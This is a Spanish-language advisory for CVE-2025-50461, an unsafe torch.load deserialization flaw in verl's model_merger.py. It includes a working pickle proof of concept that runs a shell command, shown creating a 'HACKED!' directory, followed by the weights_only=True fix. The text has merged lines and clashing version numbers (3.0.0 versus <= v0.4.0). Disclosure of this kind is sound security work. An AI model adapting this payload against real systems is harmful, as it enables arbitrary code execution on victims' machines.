
Detalles técnicos y exploit para CVE-2025-50461
Estado: RESERVADO
Este ID de CVE ha sido asignado pero aún no está publicado en la lista oficial de CVE.Existe una vulnerabilidad de deserialización en Volcengine's verl 3.0.0, específicamente en el script scripts/model_merger.py cuando se utiliza el backend "fsdp". El script llama a torch.load() con weights_only=False en archivos .pt proporcionados por el usuario, lo que permite a atacantes ejecutar código arbitrario si se carga un archivo de modelo manipulado maliciosamente. Un atacante puede explotar esto convenciendo a una víctima de descargar y colocar un archivo de modelo malicioso en un directorio local con un patrón de nombre de archivo específico. Esta vulnerabilidad puede llevar a la ejecución de código arbitrario con los privilegios del usuario que ejecuta el script.
scripts/model_merger.pymalicious.pt)import pickle
import os
class Malicious:
def __reduce__(self):
return (os.system, ("mkdir HACKED!",))
with open("malicious.pt", "wb") as f:
pickle.dump(Malicious(), f)
mv malicious.pt model_world_size_4_rank_0.pt
mkdir TESTS
mv model_world_size_4_rank_0.pt TESTS/
python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
root@99137c7690ee:/workspace/verl-main# python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
Traceback (most recent call last):
File "/workspace/verl-main/scripts/model_merger.py", line 440, in <module>
convert_fsdp_checkpoints_to_hfmodels()
File "/workspace/verl-main/scripts/model_merger.py", line 88, in convert_fsdp_checkpoints_to_hfmodels
state_dict = torch.load(os.path.join(local_dir, f'model_world_size_{world_size}_rank_{rank}.pt'),
File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1384, in load
return _legacy_load(
File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1630, in _legacy_load
raise RuntimeError("Invalid magic number; corrupt file?")
RuntimeError: Invalid magic number; corrupt file?
root@99137c7690ee:/workspace/verl-main# ls
'HACKED!' Notice.txt TESTS docker examples outputs pyproject.toml requirements.txt scripts test_prime.sh tmp verl.egg-info
LICENSE README.md data docs patches recipe requirements_sglang.txt setup.py tests verl verl_demo.log
El comando mkdir HACKED! se ejecuta en el sistema de la víctima.
weights_only=True, reduciendo los riesgos de deserialización.weights_only=True al llamar a torch.load.state_dict = torch.load(path, map_location="cpu", weights_only=True)
| Campo | Valor |
|---|---|
| ID de CVE | CVE-2025-50461 |
| Puntuación CVSS | TBD |
| CWE | CWE-502: Deserialización de Datos No Confiables |
| Fecha de Reporte | 2025-04-30 |
| Fecha de Divulgación | 2025-08-15 |
| Versión Afectada | <= v0.4.0 |
| Versión Corregida |